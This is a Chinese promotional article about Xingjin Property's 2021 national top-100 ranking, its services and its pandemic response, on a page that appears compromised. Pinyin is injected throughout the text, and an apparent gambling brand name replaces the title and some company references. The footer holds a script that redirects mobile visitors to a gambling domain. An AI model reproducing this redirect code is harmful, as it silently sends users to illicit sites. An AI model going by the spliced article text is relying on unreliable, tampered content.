德赢登入

解读|这家本土企业,如何在市场竞争中突破自我成为全国百强?

时间: 2021-04-22   浏览: 1338
47.8K

解读|这(zhei)家本土企业,如何在(zai)市场竞(jing)争中突(tu)破(po)自我成为全(quan)国百强?


2021年(nian)4月22日

凭(ping)借强(qiang)大的综合(he)实力

兴进物业荣(rong)获“2021中国物业服务百强企业” 

2223.jpglADPBGKocxPX4VvNCAnNDA0_3085_2057.jpg_720x720q90g.jpglADPDgQ9xcU8uFPNCuDND-o_4074_2784.jpg_720x720q90g.jpg 

 

▲“2021中国物(wu)业(ye)服务百强企业(ye)”颁(ban)奖现场

 

这是在(zai)全(quan)行(xing)业因疫情面临危(wei)机的时(shi)候,兴进物业凭(ping)借多年(nian)的深(shen)耕与(yu)积累,逆风(feng)而行(xing),逆势而上,再次(ci)取得卓越成绩!

 

 

 

01.

 兴进(jin)物业到底又多硬核(he)?


  

巴菲特有句名言:“当大潮退去,才知道谁在裸泳。”

 

这句话(hua)用(yong)来(lai)形容(rong)疫(yi)情后(hou)的(de)物业(ye)市场再合适不过了。无法(fa)提(ti)供优(you)异居住品质的(de)物业(ye)已然被时代所淘汰,经(jing)得住考验的(de)物业(ye)团(tuan)队(dui),大家有目共睹。而“兴进物业”作为疫情期间的标杆企业,异军突起,呈现出了更优质的服务底色。

 

 1619077750(1).jpg

 

2019-2020,对于兴进(jin)物(wu)(wu)业(ye)来(lai)说是向上的一年(nian),在(zai)努力为业(ye)主提供更优质的服务中,兴进(jin)物(wu)(wu)业(ye)多面开(kai)花。2020年先后斩获“金钥匙”全国示范企业、“特色物业服务品牌大奖”、“广西物业口碑榜“智慧创新奖”、“兴进·上誉荣获广西宜居城市建设优秀项目”等多项荣誉。

 

 retouch_20201207145248.jpg

 

2019-2020,是做强的(de)一年,兴进物业(ye)开放“兴家园”APP,业(ye)主可以通过APP实现线上(shang)缴费、报修、远程开门、访客通行等,随(sui)时接(jie)收社区(qu)讯息。以此构建智(zhi)慧社区(qu)与(yu)服务功能体系,用智(zhi)慧点亮业(ye)主的(de)美好生活。

 

2019-2020,是发展的一年(nian),兴进(jin)物业(ye)对外管理拓展取得重大进(jin)展,开启(qi)外拓发展里程(cheng)碑(bei)。

 

2019-2020,是丰富的一年,为了建设社区文化,兴进物业成立兴进会,举办了丰富多彩的活动。先后成立了少儿绘画社团、国术社团、旗袍社团、亲子俱乐部、篮球社团等10个社团,全年围绕“天才宝贝”、“邻居你好”、“悦动力”、“我心公益”四大品牌,组织策划了123场活动,足迹遍布约1842.6公里,助力物业服务满意度。 

 

 

02.

“软实(shi)力”比拼时代(dai)

匠心服务成就百强物(wu)业。

  

在(zai)成(cheng)立(li)之初,兴进物业就提出(chu)了(le)同心共筑(zhu)幸福家(jia)的经(jing)营理(li)念。2001年(nian),在(zai)(zai)当时不(bu)少物业服务企业停留在(zai)(zai)看楼护院(yuan)的年代(dai)里,兴进物业就已经开始规(gui)范服务(wu)流程(cheng)、树(shu)立服务(wu)标准,落实基(ji)础服务(wu)三保一绿

 

兴进(jin)物业(ye)发展到今(jin)天已拥有(you)10万业主。在桂林每15个桂林人中就有1个兴进业主。

 

事实上(shang),兴进(jin)物业(ye)不断提升服(fu)务品质同时,管理业(ye)态多(duo)样化,是(shi)兴进(jin)物业(ye)最重要的发(fa)展特色之一。近年来,兴进(jin)物业(ye)突破传(chuan)统住(zhu)宅(zhai)物业(ye)领(ling)域,逐步进(jin)入酒店(dian)、学校、文旅、商业(ye)综合体等多(duo)元化业(ye)态。


1619077925(1).jpg

 

 

为此,兴(xing)进物业从内(nei)外两方面下手:一(yi)方面,不断升级(ji)物业服务标(biao)准(zhun),将更多(duo)的标(biao)准(zhun)量(liang)化,以便于执(zhi)行和(he)考核;另一(yi)方面,着力于研发内(nei)部管理(li)流程和(he)方法(fa),例如品质(zhi)部保障产品品质(zhi)和(he)服务品质(zhi),管理之(zhi)星未来之星帮助物业员(yuan)工拓宽(kuan)视野,人力(li)行政部通过涅槃(pan)计(ji)划(hua)帮助员(yuan)工规划(hua)职(zhi)业晋(jin)升(sheng)通道,兴学院通过全模块专(zhuan)业化培训(xun)提升(sheng)员(yuan)工物业管理经验等,用心极致,追求卓(zhuo)越,为业主提供满意加惊喜(xi)的体验感。

 

 

03.

“选择(ze)兴进物业

便(bian)是(shi)选择一(yi)种美(mei)好生活方式

  

谈起品质(zhi)物业服务(wu),金钥匙(chi)服务(wu)可谓(wei)是其中的佼佼者。尽管(guan)不(bu)是(shi)无所(suo)不(bu)能,但是(shi)也是(shi)竭尽所(suo)能是金(jin)钥匙国际联盟的服务标准。兴进物业作为桂林唯一一家引入“金钥匙”国际联盟企业,不仅提升自身物业管理的品质,同时也提升整个广西的物业行业标准。

 

 lADPDhmOvaFi7CzNAtHNBDg_1080_721.jpg_720x720q90g.jpg

 

2018年(nian),兴进(jin)物业提出(chu)六兴服务,陆续开设兴(xing)管家、兴(xing)小厨(chu)、兴(xing)家政、兴(xing)学院(yuan)、兴(xing)中(zhong)介、兴(xing)学堂(tang),将“123456全方位(wei)基础(chu)服务结合扫黄、打黑(hei)、除恶、张口(kou)、动手、伸腿(tui)十二字专项行动贯(guan)穿(chuan)于日常工作管理(li)中;将优质个(ge)性化(hua)服务渗透到物业管理(li)的各(ge)个(ge)细节,严格秉承客服至(zhi)上、品质第一的理(li)念,提供(gong)满意+惊喜的(de)多元(yuan)化(hua),全方位(wei)个性化(hua)品(pin)质服务。所以,选(xuan)择(ze)兴(xing)进物(wu)业(ye),便(bian)是选(xuan)择(ze)一(yi)种(zhong)美好(hao)生活方式(shi)。

   

 

04.

 特殊时期

好物业是这样(yang)的!

  

如果要从兴(xing)进物业(ye)的发展历(li)程中截取一个最具(ju)影响力的标志性事件的话,2020疫情期间的表现。在这场没(mei)有硝烟的战(zhan)中,兴进物业(ye)不忘初心,将岗位当战场、把业(ye)主当成亲人,演绎出一曲(qu)援的最美和(he)声。

 

在(zai)每一个(ge)社区,兴进物业更是全员(yuan)领命(ming)出征(zheng),取消休假(jia)、时刻备战(zhan),为保护(hu)业主和美好家园全力以赴。第一时间成立了防(fang)(fang)疫(yi)指(zhi)挥中(zhong)心,并按(an)照疫(yi)情防(fang)(fang)控统(tong)一部署,制定了内防外控的防(fang)疫工作方式:小区内360°无死角的消毒,电梯里放置(zhi)一(yi)次性手套、纸巾(jin),小区及(ji)车库出入口(kou)增设消毒池,严格控制来访人员、车辆……尽(jin)一切努(nu)力(li)避(bi)免业主感染。

 

 lADPDiQ3NXJ-Y7nNB4DNB4A_1920_1920.jpg_720x720q90g.jpg

 

除了(le)(le)硬核手段,兴进物业还提供(gong)了(le)(le)许多贴心服务:制作集餐饮(yin)外卖、超市派送、医(yi)(yi)疗就医(yi)(yi)等于(yu)一体的便(bian)民手册,化身(shen)外卖员将货品送到家门(men)口,为预先点(dian)餐的业主(zhu)送餐上门(men),办公室更(geng)是变成了文印(yin)店”……

 

正是(shi)众(zhong)多兴进物业人的(de)坚守(shou),让宅在(zai)家里的(de)业主们真实地感受到了一份妥(tuo)妥(tuo)的(de)安全感和一份暖(nuan)暖(nuan)的(de)温(wen)情,也(ye)让10万业主0感染、0疑似,成功打赢了全员防疫这一战。

  

05.

 实力比拼(pin)

匠心打造极致服务

 

 

不光在疫情(qing)严(yan)峻(jun)的(de)时候,其实(shi),在365天每一个普通的日子里,兴进物业人都在用真诚的服务感动着广大业主。

 

仅仅2020年一年时间,兴进物业共为业主做了12080余件好事,收获锦旗424面,表扬信463封,几乎每一天都收到业主的赞扬和肯定。

 

 1619078366(1).jpg

 

正(zheng)是坚守这份服务初(chu)心,回归匠人精神,同心共(gong)筑幸福(fu)家,才(cai)换来10万业主对兴进物业远超行标的满意度95.2%。             

  

06.

 10万户业主是什么概(gai)念?

 

 

“入住之(zhi)后不久,我(wo)发现业主们(men)素养(yang)都很高。就我(wo)知道的(de)有(you)上(shang)(shang)海(hai)顶级(ji)设计(ji)师,在(zai)上(shang)(shang)海(hai)开(kai)旅游公司的(de)外籍家庭(ting),有(you)广东话剧团团长,最近我(wo)女(nv)儿刚刚拜师一(yi)位国外音乐(le)学(xue)院深造(zao)的(de)声(sheng)乐(le)老师,也(ye)是我(wo)们(men)的(de)业主。住在(zai)这里(li)太自豪了(le)。”

 

截(jie)至2020年底,兴进服务在管建筑面积达到千万平方米,同比增长25%。考虑与德赢登入在桂林未签约的土地储备面积后,将近(jin)2000万平方米。

 

这(zhei)是(shi)什么意思呢?也就是(shi)说,按照每(mei)家每(mei)户100平米算,兴进物业未来几年将服务桂林本地约50万户业主。

 

1619078509(1).jpg

 

 

这(zhei)对于桂林(lin)534万人口的城市来说是一个超大城市的体量。而另外值得一提的是,由于兴进物业一家的聚焦城市中高端物业的开发商,兴进服务所面对的客户也大都是高净值群体,所以兴进服务实际上汇聚了如此多的层峰人士,这使得业主与兴进物业之间的关系更加紧密。

 

试想象一(yi)下(xia),未来一(yi)个50万人口的超大兴进社群城市,里面的人都是全国精英,并且由兴进服务管理,这意味着什么?

 

这(zhei)意味(wei)着(zhe)巨(ju)大的(de)商业(ye)潜力和物业(ye)领导者优势,意味(wei)着(zhe)这(zhei)是(shi)一(yi)家有着(zhe)绝对影响力的(de)高端管家式(shi)物业(ye)。

  

 

07.

 兴(xing)进物业

在未来发展(zhan)战略中

将如何发挥自(zi)身优势(shi)?

 

今天的兴(xing)进物(wu)业能(neng)逆袭成(cheng)为全国物(wu)业百强(qiang),只是一个开始。未来(lai),兴(xing)进物(wu)业会维持高增长,成(cheng)为广(guang)西物(wu)业服(fu)务领域,乃至(zhi)“中国品质服务引领者”。兴进物业一边优化内核,夯实基础,一边扩大外部市场。

  

兴进(jin)物(wu)业(ye)将随(sui)德赢登入销售面积稳(wen)定(ding)增(zeng)长,持(chi)续补充大(da)量(liang)土地储备。加(jia)之德赢登入是桂林(lin)本土最(zui)大(da)的(de)文旅项目(mu)持(chi)有及运营商(shang),具有完善的(de)文化(hua)产业(ye)链(lian)布(bu)局。这些优势资源(yuan)的(de)整合打通和(he)协同发展,都将为兴进(jin)物(wu)业(ye)提供更具确定(ding)性(xing)的(de)增(zeng)长空(kong)间(jian)。

 

在物(wu)业(ye)高速发展(zhan)的(de)今天,兴(xing)进物(wu)业(ye)坚持(chi)不忘初心,夯实基础,脚踏实地。因为兴(xing)进物(wu)业(ye)知(zhi)道(dao),公(gong)司最基本的(de)生存法则,是客户满意。兴(xing)进物(wu)业(ye)也将通过不断完善物(wu)业(ye)服务(wu)(wu)体系和运(yun)营体系,品(pin)质引领(ling)、精(jing)益管理、科技(ji)赋能服务(wu)(wu),全力抢占(zhan)“存量时代”物业服务 “高点”,并致力于成为业主、从业者、合作伙伴和政府的“首选服务品牌和价值贡献者”。

 

“为城市贡献更(geng)多美好(hao)”是(shi)德赢登入所(suo)一直坚守的梦想;“让业主尊享更(geng)美好(hao)的生活”则是(shi)兴(xing)进(jin)物(wu)业的中(zhong)期目标。


微信图片_20210126100043.jpg



广西兴进实业集团有限责任公司 , 联系电话:400-8622017 , 销售热线: 0773-3677777 , 联系我们 | 免责声明 | 隐私权政策 设计制作:易东传媒
var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();